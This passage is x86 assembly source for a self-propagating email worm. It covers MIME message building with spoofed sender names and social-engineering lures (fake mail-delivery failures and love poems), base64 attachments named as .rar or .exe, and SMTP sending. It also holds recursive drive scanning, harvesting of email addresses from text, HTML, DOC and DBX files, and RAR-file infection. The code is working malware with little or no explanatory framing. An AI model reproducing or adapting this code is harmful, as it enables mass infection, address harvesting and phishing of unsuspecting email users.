x_msg4_:cmp     eax,5000h
        ja      x_msg5_
        lea     esi,[ebp + xmsg5]
        jmp     Pmsg_
x_msg5_:cmp     eax,6000h
        ja      x_msg6_
        lea     esi,[ebp + xmsg6]
        jmp     Pmsg_
x_msg6_:cmp     eax,7000h
        ja      x_msg7_
        lea     esi,[ebp + xmsg7]
        jmp     Pmsg_
x_msg7_:cmp     eax,8000h
        ja      x_msg8_
        lea     esi,[ebp + xmsg6]
        jmp     Pmsg_
x_msg8_:cmp     eax,9000h
        ja      x_msg9_
        lea     esi,[ebp + xmsg7]
        jmp     Pmsg_
x_msg9_:cmp     eax,0a000h
        ja      x_msg10
        lea     esi,[ebp + xmsg8]
        jmp     Pmsg_
x_msg10:cmp     eax,0b000h
        ja      x_msg11
        lea     esi,[ebp + xmsg9]
        jmp     Pmsg_
x_msg11:cmp     eax,0c000h
        ja      x_msg12
        lea     esi,[ebp + xmsg10]
        jmp     Pmsg_
x_msg12:lea     esi,[ebp + xmsg11]
Pmsg_:  push    esi                                     ;message

        lea     eax,[ebp + boundry]
        push    eax                                     ;boundary
                
        lea     eax,[ebp + boundry]
        push    eax                                     ;boundary
                        
        call    GenRandomNumber
        
        and     eax,7000h
        cmp     eax,1000h
        ja      x_sub1_
        lea     esi,[ebp + xsbj1]
        jmp     Psub_
x_sub1_:cmp     eax,2000h
        ja      x_sub2_
        lea     esi,[ebp + xsbj2]
        jmp     Psub_
x_sub2_:cmp     eax,3000h
        ja      x_sub3_
        lea     esi,[ebp + xsbj3]
        jmp     Psub_
x_sub3_:cmp     eax,4000h
        ja      x_sub4_
        lea     esi,[ebp + xsbj4]
        jmp     Psub_
x_sub4_:cmp     eax,5000h
        ja      x_sub5_
        lea     esi,[ebp + xsbj5]
        jmp     Psub_
x_sub5_:cmp     eax,6000h
        ja      x_sub6_
        lea     esi,[ebp + xsbj6]
        jmp     Psub_
x_sub6_:lea     esi,[ebp + xsbj7]
Psub_:  push    esi                                     ;subject
        
        lea     eax,[ebp + MailAddr]
        push    eax                                     ;mail to
        
        lea     eax,[ebp + faked_mfrm]
        push    eax                                     ;mail from
        
        lea     eax,[ebp + MailHeader]
        push    eax                                     ;formated string
        
        push    [ebp + MailBuffer]
        
        call    [ebp + wsprintf]                        ;create mime message
        
        add     esp,(13*4)                              ;restore stack
                
        push    0h
        push    eax
        push    [ebp + MailBuffer]
        push    [ebp + vsocket]
        call    [ebp + send]    

SndAtt: push    0h
        push    [ebp + sizeofbase64out]
        push    [ebp + base64outputmem]
        push    [ebp + vsocket]
        call    [ebp + send]                            ;send attachment

        lea     eax,[ebp + boundry]
        push    eax     
        call    PushBN
        db      0dh,0ah,"--%s--",0dh,0ah,0dh,0ah,'.',0dh,0ah,0h 
PushBN: push    dword ptr [ebp + MailBuffer]
        call    [ebp + wsprintf]                        ;send end of DATA
        add     esp,(3*4)

        push    0h
        push    eax
        push    [ebp + MailBuffer]
        push    [ebp + vsocket]
        call    [ebp + send]
        
        call    __recv  
                
ExitFm: push    [ebp + MailBuffer]
        call    [ebp + GlobalFree]
QuitM:  push    0h
        push    SizeOfQuit
        call    O_QT
        SizeOfQuit      equ     (O_QT-$)
        db      db      "QUIT",0dh,0ah
O_QT:   push    dword ptr [ebp + vsocket]
        call    [ebp + send]
Disconnect:     
        push    dword ptr [ebp + vsocket]
        call    [ebp + closesocket]
        ret


__recv: push    0h
        push    SizeOfGB
        call    PushGB
        SizeOfGB        equ     (PushGB-$)
        GetBuffer       db      512d    dup(0)
PushGB: push    dword ptr [ebp + vsocket]
        call    [ebp + recv]
        ret
        
        
MailType        db      0               ;1=failed sending/0=love letter 
        
MailBuffer      dd      0

boundry         db      20h     dup(0)
                SizeOfBoundary  equ     ($-boundry-1)   ;keep null at the end

faked_mfrm      db      128d    dup(0)

rar_suffix      db      ".rar",0h
exe_suffix      db      ".exe",0h

;****************************[Mail Format]******************************************


MailHeader:

        db      "From:<%s>",0dh,0ah
        db      "To: %s",0dh,0ah
        db      "Subject:%s",0dh,0ah
        db      "MIME-Version: 1.0",0dh,0ah
        db      "Content-Type: multipart/mixed;",0dh,0ah
        db      ' boundary="%s"',0dh,0ah
        db      "X-Priority: 3",0dh,0ah
        db      "X-MSMail-Priority: Normal",0dh,0ah
        db      "X-Mailer: Microsoft Outlook Express 6.00.2800.1106",0dh,0ah
        db      "X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106",0dh,0ah
        db      0dh,0ah,"This is a multi-part message in MIME format.",0dh,0ah
        db      "--%s",0dh,0ah
        db      "Content-Type: text/plain;",0dh,0ah
        db      ' charset="windows-1255"',0dh,0ah
        db      "Content-Transfer-Encoding: 7bit",0dh,0ah,0dh,0ah
        db      "%s",0dh,0ah
        db      "--%s",0dh,0ah
        db      "Content-Type: application/octet-stream;",0dh,0ah
        db      ' name= "%s%s"',0dh,0ah
        db      "Content-Transfer-Encoding: base64",0dh,0ah
        db      'Content-Disposition: attachment; filename="%s%s"',0dh,0ah,0dh,0ah,0h


;****************************[Mail type 1]******************************************

        
msg1    db      "The server could not fully receive an email message which someone",0ah,0dh
        db      "trying to send you. The incomplete message has been added as attachment.",0
                
msg2    db      "Error 569: Mail delivery failure. The email message has been added to the attachments.",0h

msg3    db      "Your message could not be delivered to its target. Please check the attachment for further info.",0h

msg4    db      "The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.",0h

msg5    db      "The message contains Unicode characters and has been sent as a binary attachment.",0h

msg6    db      "Mail transaction failed. Partial message is available.",0h
        
        
frm1    db      "Staff",0h
frm2    db      "Admin",0h
frm3    db      "Management",0h
frm4    db      "Support",0h
frm5    db      "Administration",0h
frm6    db      "PostMaster",0h
frm7    db      "No.reply",0h

sub1    db      "Mail delivery failure",0
sub2    db      "Impartial mail message",0
sub3    db      "Error receiving mail",0

atch1   db      "partialmessage",0
atch2   db      "undelivered",0
atch3   db      "original",0
atch4   db      "restored_mail",0
atch5   db      "letter",0
atch6   db      "unrecived",0
atch7   db      "textfile1",0
                
;****************************[Mail type 2]******************************************

xsbj1   db      "Thee and me",0
xsbj2   db      "Yours forever",0
xsbj3   db      "My heart",0
xsbj4   db      "True feelings",0
xsbj5   db      "Me and you",0
xsbj6   db      "A kiss for a smile",0
xsbj7   db      "Valentine (a little late)",0
        
        
xmsg1   db      "A special world for you and me",0dh,0ah
        db      "A special bond one cannot see",0dh,0ah
        db      "It wraps us up in its cocoon",0dh,0ah
        db      "And holds us fiercely in its womb.",0h
        
xmsg2   db      "Its fingers spread like fine spun gold",0dh,0ah
        db      "Gently nestling us to the fold",0dh,0ah
        db      "Like silken thread it holds us fast",0dh,0ah
        db      "Bonds like this are meant to last.",0h
        
xmsg3   db      "And though at times a thread may break",0dh,0ah
        db      "A new one forms in its wake",0dh,0ah
        db      "To bind us closer and keep us strong",0dh,0ah
        db      "In a special world, where we belong.",0h
        
xmsg4   db      "My love, I have tried with all my being",0dh,0ah
        db      "to grasp a form comparable to thine own,",0dh,0ah
        db      "but nothing seems worthy;",0h
        
xmsg5   db      "I know now why Shakespeare could not",0dh,0ah
        db      "compare his love to a summer’s day.",0dh,0ah
        db      "It would be a crime to denounce the beauty",0dh,0ah
        db      "of such a creature as thee,",0dh,0ah
        db      "to simply cast away the precision",0dh,0ah
        db      "God had placed in forging you.",0h
        
xmsg6   db      "Each facet of your being",0dh,0ah
        db      "whether it physical or spiritual",0dh,0ah
        db      "is an ensnarement",0dh,0ah
        db      "from which there is no release.",0dh,0ah
        db      "But I do not wish release.",0dh,0ah
        db      "I wish to stay entrapped forever.",0dh,0ah
        db      "With you for all eternity.",0dh,0ah
        db      "Our hearts, always as one.",0h
        
xmsg7   db      "If I could have just one wish,",0dh,0ah
        db      "I would wish to wake up everyday",0dh,0ah
        db      "to the sound of your breath on my neck,",0dh,0ah
        db      "the warmth of your lips on my cheek,",0dh,0ah
        db      "the touch of your fingers on my skin,",0dh,0ah
        db      "and the feel of your heart beating with mine...",0dh,0ah
        db      "Knowing that I could never find that feeling",0dh,0ah
        db      "with anyone other than you.",0h
        
xmsg8   db      "I love the way you look at me,",0dh,0ah
        db      "Your eyes so bright and blue.",0dh,0ah
        db      "I love the way you kiss me,",0dh,0ah
        db      "Your lips so soft and smooth.",0h
        
xmsg9   db      "I love the way you make me so happy,",0dh,0ah
        db      "And the ways you show you care.",0dh,0ah
        db      "I love the way you say, I Love You,",0dh,0ah
        db      "And the way you're always there.",0h
        
xmsg10  db      "I love the way you touch me,",0dh,0ah
        db      "Always sending chills down my spine.",0dh,0ah
        db      "I love that you are with me,",0dh,0ah
        db      "And glad that you are mine.",0h
        
xmsg11  db      "I wrote your name in the sky,",0dh,0ah
        db      "but the wind blew it away.",0dh,0ah
        db      "I wrote your name in the sand,",0dh,0ah
        db      "but the waves washed it away.",0dh,0ah
        db      "I wrote your name in my heart,",0dh,0ah
        db      "and forever it will stay.",0h
        
        
xattch1 db      "The sky",0h
xattch2 db      "My wish",0h
xattch3 db      "My hope",0h
xattch4 db      "My desire",0h
xattch5 db      "My love",0h
xattch6 db      "Forever",0h
xattch7 db      "A smile",0h
xattch8 db      "My heart",0h
        
;*************************************************************************************

;word creation engine by BlueOwl
;-------------------------------
;               push nicklen
;               push ptr to output

makeword:       call    GenRandomNumber
makeword_in:    push    ecx edi ebx edx
                mov     edi, [esp+20]
                mov     ecx, [esp+24]
                xchg    eax, ebx
                push    3
                call    _nexthash3
                dec     edi
_loop:          inc     edi
                dec     eax
                jz      _gen1
                dec     eax
                jz      _gen2
_gen0:          push    5
                call    _nexthash7
                mov     al, byte  ptr[ebp + worddata + eax]
                mov     byte [edi], al
                push    2
                call    _nexthash3
                inc     eax
                cmp     ecx, 2
                jnz     _next
                mov     eax, 2
                jmp     _next
_gen1:          push    3
                call    _nexthash3
                mov     al, byte  ptr[ebp +worddata+5+eax]
                mov     byte [edi], al
                xor     eax, eax
                jmp     _next
_gen2:          push    4
                call    _nexthash7 
                mov     al, byte ptr  [ebp +worddata+8+eax]
                mov     byte [edi], al
                push    2
                call    _nexthash3
                cmp     ecx, 2
                jz      _next
                xor     eax, eax
_next:          dec     ecx
                jnz     _loop
                sub     edi, [esp+20]
                xchg    eax, edi
                pop     edx ebx edi ecx
                ret     8

_nexthash3:     mov     eax, ebx
                rol     ebx, 2
                and     eax, 3
                jmp     _mainnexthash
_nexthash7:     mov     eax, ebx
                rol     ebx, 3
                and     eax, 7
_mainnexthash:  xor     edx, edx
                div     dword ptr [esp+4]
                xchg    eax, edx
                ret     4
                
                worddata db "aeioulnrkdpc",0,0

        
CreateVirusRarFile:
        
        lea     edx,[ebp + FileToInfect]
        push    edx
        push    0ffh
        call    [ebp + GetTempPath]                     ;get the temp directory path
        or      eax,eax
        je      CRF_Fail
                
        lea     edi,[ebp + FileToInfect]
_SNB:   cmp     byte ptr [edi],0h
        je      _GTFN
        inc     edi
        jmp     _SNB                                    ;seek till 0 byte found
        
_GTFN:  call    InitRandomNumber
        mov     ecx,6h
@__RandLetter:  
        call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @__RandLetter                           ;gen random file name
        mov     byte ptr [edi],'.'
        inc     edi
        mov     ecx,3h
@x_RandLetter:  
        call    GenRandomNumber
        and     al,19h
        add     al,61h
        stosb
        loop    @x_RandLetter                           ;gen random file suffix
                
        xor     eax,eax
        
        push    eax
        push    FILE_ATTRIBUTE_NORMAL
        push    CREATE_ALWAYS
        push    eax
        push    eax
        push    GENERIC_WRITE
        lea     edx,[ebp + FileToInfect]
        push    edx
        call    [ebp + CreateFile]
        cmp     eax,INVALID_HANDLE_VALUE
        je      CRF_Fail
                
        push    eax                                     ;push fh for CloseHandle...
        
        push    0h
        call    NWBx
        dd      0       
NWBx:   push    SizeOfRawFile
        lea     ebx,[ebp + RarFile]
        push    ebx
        push    eax
        call    [ebp + WriteFile]
        
        call    [ebp + CloseHandle]                     ;close file
        
        mov     [ebp + nFileSizeLow_],SizeOfRawFile
        
        call    InfectRar
        jnc     CRF_Fail
        
        stc
        ret
CRF_Fail:
        clc
        ret

        use_rar_file            db      0

RarFile:
        db 052h,061h,072h,021h,01ah,007h,000h,0cfh,090h,073h
        db 000h,000h,00dh,000h,000h,000h,000h,000h,000h,000h
        
        db 0,0,0,0,0,0,0                                ;dummy end of rar
        
        SizeOfRawFile   equ     ($-RarFile)
        
        CREATE_ALWAYS   equ     2

ScanDrive:
        lea     eax,[ebp + WIN32_FIND_DATA2]
        push    eax
        lea     eax,[ebp + SearchMask]
        push    eax
        call    [ebp + FindFirstFile]
        cmp     eax,INVALID_HANDLE_VALUE                ;error ?
        je      @Stops_                                 ;stop search
        
        mov     [ebp + hsearch],eax                     ;save search handle
        
@NxtF_: mov     eax,[ebp + dwFileAttributes_]           ;get file attributes
        and     eax,FILE_ATTRIBUTE_DIRECTORY            ;remove bit masks
        cmp     eax,FILE_ATTRIBUTE_DIRECTORY            ;it is directory ?
        jne     _isFile
        cmp     byte ptr [ebp + cFileName_],'.'         ;its start with . ?
        je      _FndNxt

        push    [ebp + hsearch]                         ;save search handle
        
        lea     eax,[ebp + cFileName_]
        push    eax
        call    [ebp + SetCurrentDirectory]             ;enter directory
        or      eax,eax
        je      _skpdir

        call    ScanDrive                               ;infect all sub directorys


        lea     eax,[ebp + dotdot]
        push    eax
        call    [ebp + SetCurrentDirectory]             ;return to current directory
        

_skpdir:pop     [ebp + hsearch]                         ;restore search handle
        jmp     _FndNxt
        
        
        
_isFile:call    CheckFileSuffix
        jnc     _FndNxt
                
        push    1500d
        call    [ebp + Sleep]
        
        call    SearchMails
        

_FndNxt:lea     eax,[ebp + WIN32_FIND_DATA2]
        push    eax
        push    [ebp + hsearch]
        call    [ebp + FindNextFile]                            ;find next file
        or      eax,eax
        jne     @NxtF_

        push    [ebp + hsearch]
        call    [ebp +FindClose]                        ;end the search
        
@Stops_:ret



CheckFileSuffix:
        lea     eax,[ebp + cFileName_]
_Find0: cmp     byte ptr [eax],0h
        je      _GetExt
        inc     eax
        jmp     _Find0
_GetExt:sub     eax,4h                                  ;go before the .xxx     
        or      dword ptr [eax],20202020h               ;convert to lower case
        cmp     dword ptr [eax],"txt."                  ;txt file ?
        je      GoodSuf
        cmp     dword ptr [eax],"mth."                  ;html file ?
        je      GoodSuf
        cmp     dword ptr [eax],"ftr."                  ;rtf file ?
        je      GoodSuf
        cmp     dword ptr [eax],"cod."                  ;doc file ?
        je      GoodSuf
        cmp     dword ptr [eax],"xdb."                  ;dbx file ?
        je      GoodSuf
        cmp     dword ptr [eax],"php."                  ;php file ?
        je      GoodSuf
        cmp     dword ptr [eax],"psj."                  ;jsp file ?
        je      GoodSuf 
        cmp     dword ptr [eax],"igc."                  ;cgi file ?
        je      GoodSuf         
        jmp     BadSuff
GoodSuf:stc
        ret
BadSuff:clc
        ret




SearchMails:
        xor     eax,eax
        push    eax
        push    FILE_ATTRIBUTE_NORMAL
        push    OPEN_EXISTING
        push    eax
        push    eax
        push    GENERIC_READ
        lea     eax,[ebp + cFileName_]
        push    eax
        call    [ebp + CreateFile]
        cmp     eax,INVALID_HANDLE_VALUE
        je      OutSM
        mov     [ebp + hfile],eax
        
        mov     [ebp + hmail],0h
        
@next_read:
        push    0
        lea     eax,[ebp + readed_bytes]
        push    eax
        push    200h
        lea     eax,[ebp + data_buffer]
        push    eax
        push    [ebp + hfile]
        call    [ebp + ReadFile]
        or      eax,eax                         ;success ?
        je      CloseF
@NextM: 
        cmp     [ebp + readed_bytes],0h
        je      CloseF
        
        mov     [ebp + _esp],esp
        lea     eax,[ebp + hmail]
        push    eax
        push    [ebp + readed_bytes]
        lea     eax,[ebp + data_buffer]
        push    eax
        call    find_next_email

        mov     esp,[ebp + _esp]
        
        or      eax,eax                         ;success ?
        je      @next_read
                
        push    eax
        lea     edi,[ebp + MailAddr]
        mov     al,0h
        mov     ecx,80h
        rep     stosb
        pop     eax
        

        mov     esi,eax                         ;eax = mail address in stack memory !!
        lea     edi,[ebp + MailAddr]            ;so we have to copy the mail address 
NMCpy:  lodsb                                   ;from stack from  stack memory into 
        or      al,al                           ;normal memory to  avoid fucking it 
        je      EndMCpy                         ;while using the stack.
        stosb
        jmp     NMCpy
EndMCpy:
        call    ConnectSMTP                     ;build smtp server from mail address & connect
        jnc     @NextM

        call    TransferWorm                    ;transfer the worm over mails

        jmp     @NextM
        
CloseF: push    [ebp + hfile]
        call    [ebp + CloseHandle]
OutSM:  ret





ConnectSMTP:
        ;build smtp server address and try to connect...
        lea     edi,[ebp + MailAddr]
NextMB: cmp     byte ptr [edi],'@'
        je      BuildMS
        inc     edi
        jmp     NextMB
BuildMS:inc     edi                                     ;edi=domain
        mov     [ebp + MD_Addr],edi
        mov     ecx,NumberOfMD
        lea     edi,[ebp + SmtpServerAdd]
        lea     esi,[ebp + mail_domains]
@NextMD:push    esi
        push    ecx
_NextMD:cmp     byte ptr [esi],0h
        je      CpyD
        lodsb
        stosb
        jmp     _NextMD
CpyD:   mov     byte ptr [edi],'.'
        inc     edi
        mov     esi,[ebp + MD_Addr]
NextMDb:cmp     byte ptr [esi],0h
        je      TryToC
        lodsb
        stosb
        jmp     NextMDb
        

TryToC: 
        mov     [ebp + ConnectionSuccess],0h
        

        call    overTI
        dd      0
overTI: xor     eax,eax 
        push    eax
        push    eax
        lea     ebx,[ebp + ConnectToServer]
        push    ebx
        push    eax
        push    eax
        
        call    [ebp + CreateThread]
        or      eax,eax
        je      SkipMD
        
        mov     [ebp + CTS_h],eax
        
        push    (15*1000)
        push    eax
        call    [ebp + WaitForSingleObject]
        
        push    [ebp + CTS_h]
        call    [ebp + CloseHandle]
        
        cmp     byte ptr [ebp + ConnectionSuccess],0h
        je      SkipMD
        
        pop     ecx
        jmp     SmtpOk
        
SkipMD: mov     al,0h
        mov     ecx,0ffh
        lea     edi,[ebp + SmtpServerAdd]
        rep     stosb
        pop     ecx
        pop     esi
        cmp     ecx,0h
        je      CSMTP_Fail
        inc     esi
@__NMDb:cmp     byte ptr [esi],0h
        je      xNextMd
        inc     esi
        jmp     @__NMDb
xNextMd:inc     esi
        lea     edi,[ebp + SmtpServerAdd]
        
        dec     ecx
        cmp     ecx,0h
        je      CSMTP_Fail
        jmp     @NextMD
        
SmtpOk: pop     esi
        stc
        ret
CSMTP_Fail:
        clc
        ret
        
        CTS_h           dd      0
        
        mail_domains    db "smtp",0,"mail",0
                        
        NumberOfMD      equ     2
                        
        SmtpServerAdd   db      0ffh    dup(0)
        
        MailAddr        db      80h     dup(0)  
        
        MD_Addr         dd      0
        
        xCON_ID         dd      0
        
        ConnectionSuccess       db      0
        
ConnectToServer:
        call    CTS_delta
CTS_delta:pop   ebp
        sub     ebp,offset CTS_delta
        push    IPPROTO_TCP
        push    SOCK_STREAM
        push    AF_INET
        call    [ebp + socket]          ;create socket
        cmp     eax,SOCKET_ERR
        je      ConnectionErr
        mov     dword ptr [ebp + vsocket],eax
        push    25                      ;smtp
        call    [ebp + htons]
        mov     word ptr [ebp + sin_port],ax
        mov     word ptr [ebp + sin_family],AF_INET
        lea     eax,[ebp + SmtpServerAdd]
        push    eax
        call    [ebp + gethostbyname]
        cmp     eax,0h
        je      CloseSockErr
        mov     eax,dword ptr [eax + HOSTENT_IP]
        mov     eax,dword ptr [eax]
        mov     eax,dword ptr [eax]
        mov     dword ptr [ebp + sin_addr],eax
        push    SizeOfSOCKADDR
        lea     eax,[ebp + SOCKADDR]
        push    eax
        push    dword ptr [ebp + vsocket]
        call    [ebp + connect]
        cmp     eax,0h
        jne     EN_Cs
        mov     byte ptr [ebp + ConnectionSuccess],1h
        push    0AAAAAAAAh
        call    [ebp + ExitThread]
CloseSockErr:
        push    dword ptr [ebp + vsocket]
        call    [ebp + closesocket]
ConnectionErr:
        mov     byte ptr [ebp + ConnectionSuccess],0h
        push    0DEADB33Fh
        call    [ebp + ExitThread]
        

GetWinsockApis:
        lea     eax,[ebp + WinsockDll]
        push    eax
        call    [ebp + LoadLibrary]
        cmp     eax,0h
        je      GetWinsockApisErr
        mov     dword ptr [ebp + hWinsock],eax
        xchg    eax,edx
        mov     ecx,NumberOfWinsockFunctions
        lea     eax,[ebp + winsock_functions_sz]
        lea     ebx,[ebp + winsock_functions_addresses]
        call    GetNextAPI
        ret
GetWinsockApisErr:
        clc
        ret
        
        WinsockDll      db      "ws2_32.dll",0
        hWinsock        dd      0
        
        
        winsock_functions_sz:
        
        _WSAStartup     db      "WSAStartup",0
        _WSACleanup     db      "WSACleanup",0
        _socket         db      "socket",0
        _gethostbyname  db      "gethostbyname",0
        _connect        db      "connect",0
        _recv           db      "recv",0
        _send           db      "send",0
        _htons          db      "htons",0
        _closesocket    db      "closesocket",0
        
        winsock_functions_addresses:
        
        WSAStartup      dd      0
        WSACleanup      dd      0
        socket          dd      0
        gethostbyname   dd      0
        connect         dd      0
        recv            dd      0
        send            dd      0
        htons           dd      0
        closesocket     dd      0
        
        NumberOfWinsockFunctions        equ     9       
        
        VERSION1_1      equ     0101h
        AF_INET         equ     2      
        SOCK_STREAM     equ     1     
        SOCKET_ERR      equ     -1   
        HOSTENT_IP      equ     0ch
        IPPROTO_TCP     equ     6h      
        
        
        vsocket         dd      0
        
        
WSADATA:        
        mVersion        dw      0
        mHighVersion    dw      0
        szDescription   db      257 dup(0)
        szSystemStatus  db      129 dup(0)
        iMaxSockets     dw      0
        iMaxUpdDg       dw      0
        lpVendorInfo    dd      0       
        
        
SOCKADDR:
        sin_family      dw      0       
        sin_port        dw      0
        sin_addr        dd      0       
        sin_zero        db      8 dup(0)
        SizeOfSOCKADDR  equ     ($-SOCKADDR)    




        _esp            dd      0
        hmail           dd      0
        readed_bytes    dd      0

        data_buffer     db      200h    dup(0)


;*************************************************
;MAIL RIPPER - Published in 29a#6 by annonymouse
;*************************************************

find_next_email:
; ----------------------------------------------
; CONFIG BLOCK
; ----------------------------------------------
__MAX_VALID_LEN equ     260
__MAX_EMAIL_EXT equ     3
__MIN_EMAIL_EXT equ     2  
; ----------------------------------------------
        pushad        
        
        call    __xx
__xx:   pop     ebp
        sub     ebp, offset __xx                
        xor     eax, eax
        sub     esp, __MAX_VALID_LEN
        sub     esp, 4*4
        
__last_pos      equ     dword ptr [esp+11*4+4*4+__MAX_VALID_LEN]
__len           equ     dword ptr [esp+10*4+4*4+__MAX_VALID_LEN]
__buf           equ     dword ptr [esp+09*4+4*4+__MAX_VALID_LEN]
__p2            equ     dword ptr [esp+04]
__p3            equ     dword ptr [esp+08]
__full_len      equ     dword ptr [esp+12]
__p1            equ     dword ptr [esp]
__ret_buf       equ     [esp+4*4]

__0:    mov     edx, __buf
        mov     esi, edx
        add     edx, __len
        mov     eax, __last_pos
        mov     eax, [eax]
        add     esi, eax
        cmp     esi, edx
        jae     __exit_none
                
        cld

__1:    lodsb
        cmp     esi, edx
        jae     __exit_none
        cmp     al, '@'         ; get to the middle
        jnz     __1  
                        
        dec     esi     
        mov     __p1, esi       ; middle address
                
        xor     ecx, ecx
        inc     esi

__2:    lodsb
        or      al, al          
        jz      __3     
        cmp     esi, edx
        jae     __3
        
        inc     ecx
                        
; check out for separators
        cmp     al, 2Dh         ; '-'
        je      __2
        cmp     al, 2Eh         ; '.'
        je      __2
        cmp     al, 30h
        jb      __x8
        cmp     al, 39h
        jbe     __2                             
        cmp     al, 41h
        jb      __x3
        cmp     al, 60h
        jbe     __a
        jmp     __x03
__a:    cmp     al, 5Bh
        jb      __2
        cmp     al, 5Ch
        jz      __xx3
        cmp     al, 5Eh
        jb      __3                     
        cmp     al, 60h                 
        je      __3

__x03:  cmp     al, 7Ah
        jbe     __2                     
        
__3:    cmp     ecx, 4                  ; min len
        jb      __x3            
        cmp     ecx, __MAX_VALID_LEN
        jb      __4

__x3:   mov     eax, __last_pos
        sub     esi, __buf
        mov     [eax], esi              ; save new srch position        
        jmp     __0

__xx3:  dec     esi

__4:    mov     __p2, esi               ; end pos
        xor     ecx, ecx
        
        std                                     
        mov     esi, __p1               ; scan backward from the middle 
        xor     ecx, ecx
        dec     esi
                
__5:    inc     ecx
        lodsb
        or      al, al
        jz      __8
        
        cmp     esi, __buf
        jbe     __6
                
; check out for separators
        cmp     al, 2Dh         ; -     
        je      __5
        cmp     al, 2Eh         ; .
        je      __5
        cmp     al, 30h
        jb      __8
        cmp     al, 39h
        jbe     __5                     
        cmp     al, 41h
        jb      __8             
        cmp     al, 5Bh
        jb      __5                     
        cmp     al, 5Eh
        jb      __8             
        cmp     al, 60h                 
        je      __8             
        cmp     al, 7Ah
        jbe     __5                                             
        
__6:    or      ecx, ecx
        jnz     __7     
        cmp     ecx, __MAX_VALID_LEN
        jb      __7
        
__ret:  mov     eax, __p2
        inc     eax
        sub     eax, __buf              ; calc offset
        mov     ebx, __last_pos
        mov     [ebx], eax      
        jmp     __0

__8:    inc     esi
        inc     esi
        dec     ecx
        jmp     __6
        
__x8:   dec     esi     
        jmp     __4
                
; p3 = start of the string      
__7:    mov     eax, esi
        mov     __p3, eax
        
; multidot check for 1st part
        mov     esi, __p1
        std
        dec     esi

__x5:   lodsb
        cmp     esi, __p3               ; start of buffer ?
        jbe     __x05
        cmp     al, '.'                 ; dot ?
        jnz     __x5                    
        cmp     byte ptr [esi], '.'     ; another dot near ?
        jz      __ret                   ; get da fuck out!

        cmp     word ptr [esi], '@.'
        jz      __ret
        cmp     word ptr [esi], '.@'
        jz      __ret
        jmp     __x5
        
__x05:  mov     eax, __p2
        sub     eax, __p3
        mov     __full_len, eax
        
; syntax check. (alpha-begining,dot-start,dot-end fixup,short extension)
__d9:
        mov     esi, __p3
        cld

__9:    lodsb
        cmp     al, '.'
        jnz     __d10

        inc     __p3
        dec     __full_len
        jmp     __d9

__d10:  cmp     al, 41h                 ; 1a@e.com, .a@e.com are not valid addrs
        jb      __ret           
                                        
        mov     esi, __p2
        std
        dec     esi
        xor     ecx, ecx

; multidot check for 2nd part
__x9:   lodsb
        cmp     al, '@'                 ; already @ ?
        jz      __x09                   ; done testing
        cmp     al, '.'                 ; dot ?
        jnz     __x9                    
        cmp     byte ptr [esi], '.'     ; another dot near ?
        jz      __ret                   ; get da fuck out!
        cmp     word ptr [esi], '@.'
        jz      __ret
        cmp     word ptr [esi], '.@'
        jz      __ret
        jmp     __x9

__x09:  mov     esi, __p2
        dec     esi     

__x10:  lodsb                           ; pass all non-alpha chars
        cmp     al, 'A'
        jae     __10
        dec     __full_len
        jmp     __x10
                        
__10:   inc     ecx
        lodsb        
        cmp     esi, __buf              ; check overflow
        jz      __exit_none
        cmp     esi, __p3               ; prevent email-without-a-dot processing
        jbe     __ret
        
        cmp     al, '.'
        jz      __11
        cmp     al, '@'                 ; email with more than one '@' ?
        jz      __ret                   ; dont process
        jmp     __10
        
__11:   cmp     ecx, __MIN_EMAIL_EXT
        jb      __ret
        cmp     ecx, __MAX_EMAIL_EXT    ; dont let extension be more that 3 bytes
        ja      __ret
                
        mov     esi, __p3
        mov     ecx, __full_len
        call    __is_ascii              ; final check
        or      eax, eax
        jz      __ret

        lea     edi, __ret_buf
        cld        
        rep     movsb                   ; copy entire email        
        xor     eax, eax
        stosd                           ; zero-terminated
        
__exit: mov     eax, __p2
        inc     eax
        mov     ebx, __last_pos
        sub     eax, __buf
        mov     [ebx], eax              ; for later use
        lea     eax, __ret_buf
        
__x12:  add     esp, 4*4+__MAX_VALID_LEN
        mov     [esp+7*4], eax
        
__12:   popad
        ret
        
__exit_none:
        xor     eax, eax
        jmp     __x12    

__is_ascii:
        pushfd
        push    esi
        push    ecx        
        cld
__isascii1:
        lodsb
        cmp     al, 2Dh
        jb      __is_ascii_f
        cmp     al, 7Ah
        ja      __is_ascii_f
        loop    __isascii1

        push    1
        pop     eax
        pop     ecx
        pop     esi
        popfd
        ret
__is_ascii_f:
        pop     ecx
        pop     esi
        popfd
        xor     eax, eax
        ret

;find_next_email endp

findemail_proc_size     = $-find_next_email

;**********************************************



        kernel32base    dd      0
        
IF      DEBUG
        
        DriveInfectionWarning   db      "Do You Wise To Infect This Drive?",0

ENDIF



                
GetADVAPI32Apis:
        lea     eax,[ebp + ADVAPI32dll]
        push    eax
        call    [ebp + LoadLibrary]
        xchg    eax,edx
        mov     ecx,NumberOfRegFunctions
        lea     eax,[ebp + reg_functions_sz]
        lea     ebx,[ebp + reg_function_addresses]
        call    GetNextAPI
        ret

        ADVAPI32dll             db      "ADVAPI32.DLL",0
        
        reg_functions_sz:

        _RegOpenKeyExA          db      "RegOpenKeyExA",0
        _RegCloseKey            db      "RegCloseKey",0
        _RegSetValueEx          db      "RegSetValueExA",0

        reg_function_addresses:
        
        RegOpenKeyEx            dd      0
        RegCloseKey             dd      0
        RegSetValueEx           dd      0
        
        NumberOfRegFunctions    equ     3       
        
        

        KEY_READ                equ     00020019h
        ERROR_SUCCESS           equ     0h

GetUser32Apis:
        lea     eax,[ebp + User32dll]
        push    eax
        call    [ebp + LoadLibrary]
        xchg    eax,edx
        mov     ecx,NumberOfUser32Functions
        lea     eax,[ebp + user32_functions_sz]
        lea     ebx,[ebp + user32_functions_addresses]
        call    GetNextAPI
        ret
        
        User32dll       db      "User32.dll",0
        
        user32_functions_sz:
        
        _MessageBox     db      "MessageBoxA",0
        _wsprintfA      db      "wsprintfA",0h
        
        user32_functions_addresses:
        
        MessageBox      dd      0
        wsprintf        dd      0
        
        NumberOfUser32Functions equ     2
        
                        
        MB_SYSTEMMODAL          equ     00001000h
        MB_ICONINFORMATION      equ     00000040h


StartDrive      db      "z:\",0

DRIVE_FIXED     equ       3
DRIVE_REMOTE    equ       4     
        
WIN32_FIND_DATA2:
        dwFileAttributes_       dd      0
        ftCreationTime_         dq      0
        ftLastAccessTime_       dq      0
        ftLastWriteTime_        dq      0
        nFileSizeHigh_          dd      0
